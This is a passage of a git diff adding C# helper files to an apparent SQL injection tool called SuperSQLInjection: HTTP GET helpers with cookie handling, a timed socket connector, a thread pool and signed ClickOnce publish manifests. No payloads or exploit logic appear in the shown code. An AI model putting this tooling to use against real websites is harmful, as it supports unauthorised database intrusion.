response.Cookies; + StreamReader str = new StreamReader(response.GetResponseStream()); + server.body= str.ReadToEnd(); + server.cookies = response.Headers["Set-Cookie"]; + } + catch (Exception e) + { + Tools.SysLog(e.Message); + } + finally + { + if (sr != null) + { + sr.Close(); + } + if (response != null) + { + response.Close(); + } + if (request != null) + { + request.Abort(); + } + } + return server; + } + public static String getHTMLEncoding(String header) + { + + Match m = Regex.Match(header, "charset=\\S{0,8}\""); + if (m.Success) + { + return m.Groups[0].Value.Replace("charset=", "").Replace("\"", ""); + } + return ""; + } + public static ServerInfo getHtml(String url,String referer,String cookies) + { + ServerInfo server = new ServerInfo(); + HttpWebResponse response = null; + StreamReader sr = null; + HttpWebRequest request = null; + try + { + + //设置模拟http访问参数 + Uri uri = new Uri(url); + request = (HttpWebRequest)WebRequest.Create(uri); + request.Accept = "*/*"; + request.Method = "GET"; + request.Timeout = 30000; + request.AllowAutoRedirect = false; + if (referer != null) + { + request.Referer = referer; + } + if (!"".Equals(cookies)) + { + request.Headers.Add("Cookie", cookies); + } + response = (HttpWebResponse)request.GetResponse(); + sr = new StreamReader(response.GetResponseStream(), Encoding.UTF8); + + //读取服务器端返回的消息 + server.body = sr.ReadToEnd(); + server.cookies = response.Headers["Set-Cookie"]; + + } + catch (Exception e) + { + Tools.SysLog(e.Message); + } + finally + { + if (sr != null) + { + sr.Close(); + } + if (response != null) + { + response.Close(); + } + if (request != null) + { + request.Abort(); + } + } + return server; + } + } +} diff --git a/SuperSQLInjection/tools/http/HttpTools.cs b/SuperSQLInjection/tools/http/HttpTools.cs new file mode 100644 index 0000000..d7b883d --- /dev/null +++ b/SuperSQLInjection/tools/http/HttpTools.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Net; +using System.IO; +using System.Net.Sockets; +using System.Text.RegularExpressions; +using model; +using System.Threading; + +namespace tools +{ + + class HttpTools + { + public static String getHTMLEncoding(String header){ + + Match m=Regex.Match(header, "charset=\\S{0,8}\""); + if (m.Success) { + return m.Groups[0].Value.Replace("charset=","").Replace("\"",""); + } + return ""; + } + public static String getHtml(String url, int timeout) + { + String html = ""; + HttpWebResponse response = null; + StreamReader sr = null; + HttpWebRequest request = null; + try + { + + //设置模拟http访问参数 + Uri uri = new Uri(url); + request = (HttpWebRequest)WebRequest.Create(uri); + request.Accept = "*/*"; + request.Method = "GET"; + request.Timeout = timeout * 1000; + request.AllowAutoRedirect = false; + response = (HttpWebResponse)request.GetResponse(); + sr = new StreamReader(response.GetResponseStream(), Encoding.UTF8); + + //读取服务器端返回的消息 + html = sr.ReadToEnd(); + + } + catch (Exception e) + { + Tools.SysLog(e.Message); + } + finally + { + if (sr != null) + { + sr.Close(); + } + if (response != null) + { + response.Close(); + } + if (request != null) + { + request.Abort(); + } + } + return html; + } + + } +} diff --git a/SuperSQLInjection/tools/http/TimeOutSocket.cs b/SuperSQLInjection/tools/http/TimeOutSocket.cs new file mode 100644 index 0000000..cf29be5 --- /dev/null +++ b/SuperSQLInjection/tools/http/TimeOutSocket.cs @@ -0,0 +1,72 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Net; +using System.Net.Sockets; +using System.Text; +using System.Threading; + +namespace SuperSQLInjection.tools.http +{ + class TimeOutSocket + { + private bool IsConnectionSuccessful = false; + private Exception socketexception =null; + private ManualResetEvent TimeoutObject = new ManualResetEvent(false); + public int useTime = 0; + public TcpClient Connect(String host,int port,int timeoutMSec) + { + Stopwatch sw = new Stopwatch(); + sw.Start(); + TimeoutObject.Reset(); + socketexception = null; + + TcpClient tcpclient = new TcpClient(); + + tcpclient.BeginConnect(host, port,new AsyncCallback(CallBackMethod), tcpclient); + + + if (TimeoutObject.WaitOne(timeoutMSec, false)) + { + if (IsConnectionSuccessful) + { + sw.Stop(); + useTime = (int)sw.ElapsedMilliseconds; + return tcpclient; + } + else + { + throw socketexception; + } + } + else + { + tcpclient.Close(); + throw new TimeoutException("TimeOut Exception"); + } + } + private void CallBackMethod(IAsyncResult asyncresult) + { + try + { + IsConnectionSuccessful = false; + TcpClient tcpclient = asyncresult.AsyncState as TcpClient; + + if (tcpclient.Client != null) + { + tcpclient.EndConnect(asyncresult); + IsConnectionSuccessful = true; + } + } + catch (Exception ex) + { + IsConnectionSuccessful = false; + socketexception = ex; + } + finally + { + TimeoutObject.Set(); + } + } + } +} diff --git a/SuperSQLInjection/tools/thread/MyThreadPool.cs b/SuperSQLInjection/tools/thread/MyThreadPool.cs new file mode 100644 index 0000000..e6ff423 --- /dev/null +++ b/SuperSQLInjection/tools/thread/MyThreadPool.cs @@ -0,0 +1,134 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using tools; +using System.Collections; + +namespace SuperSQLInjection.tools +{ + class MyThreadPool + { + public static int maxThread = 1; + public static String tname = "ThreadPool-"; + public static ArrayList threads = new ArrayList(); + public static Thread cth = null; + public static AutoResetEvent _autoResetEvent = new AutoResetEvent(true); + public static void setMaxThread(int maxTh) + { + maxThread = maxTh; + cth = new Thread(clearThread); + cth.Start(); + + } + public static int getCurrentThreadCount() + { + return threads.Count; + + } + + public static void clearThread() + { + while (true) + { + lock (threads.SyncRoot) + { + for (int i = 0; i < threads.Count; i++) + { + + if (threads.Count <= 0) + { + + break; + } + Thread cth = (Thread)threads[i]; + if (cth.IsAlive == false) + { + threads.Remove(cth); + _autoResetEvent.Set(); + } + } + } + Thread.Sleep(10); + } + } + + public static void killAllThread() + { + + lock (threads.SyncRoot) + { + for (int i = 0; i < threads.Count; i++) + { + + if (threads.Count <= 0) + { + + break; + } + + Thread cth = (Thread)threads[i]; + cth.Abort(); + } + } + } + + public static void initThread(ParameterizedThreadStart ps, Object obj, String name) + { + while (Main.status == 1) + { + if (threads.Count < maxThread && Main.status == 1) + { + Thread th = new Thread(ps); + th.Name = tname ; + th.IsBackground = true; + lock (threads.SyncRoot) + { + threads.Add(th); + } + + th.Start(obj); + break; + } + _autoResetEvent.WaitOne(); + } + } + + public static void initThread(ParameterizedThreadStart ps, Object obj) + { + while (Main.status == 1) + { + if (threads.Count < maxThread && Main.status == 1) + { + Thread th = new Thread(ps); + th.IsBackground = true; + th.Name = tname; + lock (threads.SyncRoot) + { + threads.Add(th); + } + th.Start(obj); + break; + } + Thread.Sleep(10); + } + } + + public static int GetAliveThreadsCount() + { + + /* + foreach (Thread th in threads) + { + if (th.IsAlive) + { + count++; + + } + }*/ + return threads.Count; + } + + } + +} \ No newline at end of file diff --git a/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.application b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.application new file mode 100644 index 0000000..dc7e66f --- /dev/null +++ b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.application @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + gAs/TyknF/4dNgKirgeCy0VQSBk= + + + +oaT56oKuR3alD/PZ79QRFQqsr/4=qMuGCX/i2pzV4msE+YGr7UxOYPngnpJZR2tYM6X2g0xMFU1afxsbf+XYJm2dZQYMQGx1jrnJqvssyWSkLYMNojXyDq6k/3TvcM/t/s2ZvJCz/GWXQckrvMejD2OHukR7ETyctizeIuWXgvQGyYZXG1jY+nB2hYI/h8tYxtv8W78=vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=AQABCN=DESKTOP-T009CQE\shack2m6wWY1yfDMQPe+z3uaqSAkxql5U=gYBpuAu5h+mOxWNHvJ/yAPmde9Z0iKr4f2TTQqrWb8IZHqt8zJYfxi0Kh7PLFaf+lNrnbCyM/nQLKK7HBHifVRKIjCNJ9Po9utzrhylLj32I+2dnLd6+tjrH8v19U2rGdJ/aHeppWuSqwzUVnJ3oqbpjnNbmYaogdNCE9SVx/Jw=vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=AQABMIIB8TCCAVqgAwIBAgIQTPcc6oMYorxGRkGiNt4vdDANBgkqhkiG9w0BAQUFADA3MTUwMwYDVQQDHiwARABFAFMASwBUAE8AUAAtAFQAMAAwADkAQwBRAEUAXABzAGgAYQBjAGsAMjAeFw0xNjAxMDUwNzA2MjVaFw0xNzAxMDQxMzA2MjVaMDcxNTAzBgNVBAMeLABEAEUAUwBLAFQATwBQAC0AVAAwADAAOQBDAFEARQBcAHMAaABhAGMAawAyMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ajhBRaB8Y3sT9/MWrI12BwbqKvOevWzRzQpPv1VDHJkAmtwDU4/1eVM0zWdWo3jHLosrssHHf3PFDpqHm956/FaTB4JM+p4PBDDzcxAdV69S08bMcxlMBXAysDjD7sU6GqTFaYydpYc6OO5un2afpJT6e5v+Y2JtfnCdJ7eMnQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAI20fV7Nk6dDe58PeVtblLeUBUBypvhh3ddnU6uO3+Fwv4KorSto6qtFq9uyzY/lPP/u5SQZmVBiZG7pK6vGfDhBt7PAtNoLgzsp7/wXXze7a8IwsAm8gmK0wmYtXK9IvS17UikTNWn9OS73AfvpR8SuzxPnvymkYBG2bsPqmRaj \ No newline at end of file diff --git a/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.config.deploy b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.config.deploy new file mode 100644 index 0000000..e365603 --- /dev/null +++ b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.config.deploy @@ -0,0 +1,3 @@ + + + diff --git a/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.deploy b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.deploy new file mode 100644 index 0000000..853ecdb Binary files /dev/null and b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.deploy differ diff --git a/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.manifest b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.manifest new file mode 100644 index 0000000..a5963b5 --- /dev/null +++ b/SuperSQLInjection/发布/Application Files/SuperSQLInjection_2016_01_05_0/SuperSQLInjection.exe.manifest @@ -0,0 +1,81 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + MzoAOL5R6lPkke3HWwU+tccy9LI= + + + + + + + + + + cpzNzlRjZspwKGLNlX6RAlU3880= + + + + + + + + + + + + + + + + + +DggssPaMqM6CqgARrCO/pDw3Jfg=CTJF8DGXtEUhTfOmyO6oSrA40dGK9leO1ikDrxcwkL5xNZJyt73X/hfNiOfbK+Q0cQ4sQzALzgOgKb3LFneBb4MusIuwffTGkKbD6apSydOT1zT7pVkQiqyIXJfvKIF0j7PKcipmsrXnWJ+Ry6r8k0GPW9rsKiFI3WZTysJJHK8=vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=AQABCN=DESKTOP-T009CQE\shack2ELRpYqKy1OdgqVm1x1O5nixOwFA=EBm3PkvOqz/o/WnwEbAYz0rh3d7sTDvoJ/3LcCNOGIebqrMO2d1b+mUaMzMeHDmmKx93K2XqjebOqFhtrwLwg+0z6WMtvXGTBJjb+he5H/evWw3K+OYLGXsEogyGtNiVO8QyyUGn+C3vZSIJ2g2cAj45UBB/wVhLxT3Wr6F+OF8=vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=AQABMIIB8TCCAVqgAwIBAgIQTPcc6oMYorxGRkGiNt4vdDANBgkqhkiG9w0BAQUFADA3MTUwMwYDVQQDHiwARABFAFMASwBUAE8AUAAtAFQAMAAwADkAQwBRAEUAXABzAGgAYQBjAGsAMjAeFw0xNjAxMDUwNzA2MjVaFw0xNzAxMDQxMzA2MjVaMDcxNTAzBgNVBAMeLABEAEUAUwBLAFQATwBQAC0AVAAwADAAOQBDAFEARQBcAHMAaABhAGMAawAyMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ajhBRaB8Y3sT9/MWrI12BwbqKvOevWzRzQpPv1VDHJkAmtwDU4/1eVM0zWdWo3jHLosrssHHf3PFDpqHm956/FaTB4JM+p4PBDDzcxAdV69S08bMcxlMBXAysDjD7sU6GqTFaYydpYc6OO5un2afpJT6e5v+Y2JtfnCdJ7eMnQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAI20fV7Nk6dDe58PeVtblLeUBUBypvhh3ddnU6uO3+Fwv4KorSto6qtFq9uyzY/lPP/u5SQZmVBiZG7pK6vGfDhBt7PAtNoLgzsp7/wXXze7a8IwsAm8gmK0wmYtXK9IvS17UikTNWn9OS73AfvpR8SuzxPnvymkYBG2bsPqmRaj \ No newline at end of file diff --git a/SuperSQLInjection/发布/SuperSQLInjection.application b/SuperSQLInjection/发布/SuperSQLInjection.application new file mode 100644 index 0000000..dc7e66f --- /dev/null +++ b/SuperSQLInjection/发布/SuperSQLInjection.application @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + gAs/TyknF/4dNgKirgeCy0VQSBk= + + + +oaT56oKuR3alD/PZ79QRFQqsr/4=qMuGCX/i2pzV4msE+YGr7UxOYPngnpJZR2tYM6X2g0xMFU1afxsbf+XYJm2dZQYMQGx1jrnJqvssyWSkLYMNojXyDq6k/3TvcM/t/s2ZvJCz/GWXQckrvMejD2OHukR7ETyctizeIuWXgvQGyYZXG1jY+nB2hYI/h8tYxtv8W78=vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=AQABCN=DESKTOP-T009CQE\shack2m6wWY1yfDMQPe+z3uaqSAkxql5U=gYBpuAu5h+mOxWNHvJ/yAPmde9Z0iKr4f2TTQqrWb8IZHqt8zJYfxi0Kh7PLFaf+lNrnbCyM/nQLKK7HBHifVRKIjCNJ9Po9utzrhylLj32I+2dnLd6+tjrH8v19U2rGdJ/aHeppWuSqwzUVnJ3oqbpjnNbmYaogdNCE9SVx/Jw=vGo4QUWgfGN7E/fzFqyNdgcG6irznr1s0c0KT79VQxyZAJrcA1OP9XlTNM1nVqN4xy6LK7LBx39zxQ6ah5veevxWkweCTPqeDwQw83MQHVevUtPGzHMZTAVwMrA4w+7FOhqkxWmMnaWHOjjubp9mn6SU+nub/mNibX5wnSe3jJ0=AQABMIIB8TCCAVqgAwIBAgIQTPcc6oMYorxGRkGiNt4vdDANBgkqhkiG9w0BAQUFADA3MTUwMwYDVQQDHiwARABFAFMASwBUAE8AUAAtAFQAMAAwADkAQwBRAEUAXABzAGgAYQBjAGsAMjAeFw0xNjAxMDUwNzA2MjVaFw0xNzAxMDQxMzA2MjVaMDcxNTAzBgNVBAMeLABEAEUAUwBLAFQATwBQAC0AVAAwADAAOQBDAFEARQBcAHMAaABhAGMAawAyMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8ajhBRaB8Y3sT9/MWrI12BwbqKvOevWzRzQpPv1VDHJkAmtwDU4/1eVM0zWdWo3jHLosrssHHf3PFDpqHm956/FaTB4JM+p4PBDDzcxAdV69S08bMcxlMBXAysDjD7sU6GqTFaYydpYc6OO5un2afpJT6e5v+Y2JtfnCdJ7eMnQIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAI20fV7Nk6dDe58PeVtblLeUBUBypvhh3ddnU6uO3+Fwv4KorSto6qtFq9uyzY/lPP/u5SQZmVBiZG7pK6vGfDhBt7PAtNoLgzsp7/wXXze7a8IwsAm8gmK0wmYtXK9IvS17UikTNWn9OS73AfvpR8SuzxPnvymkYBG2bsPqmRaj \ No newline at end of file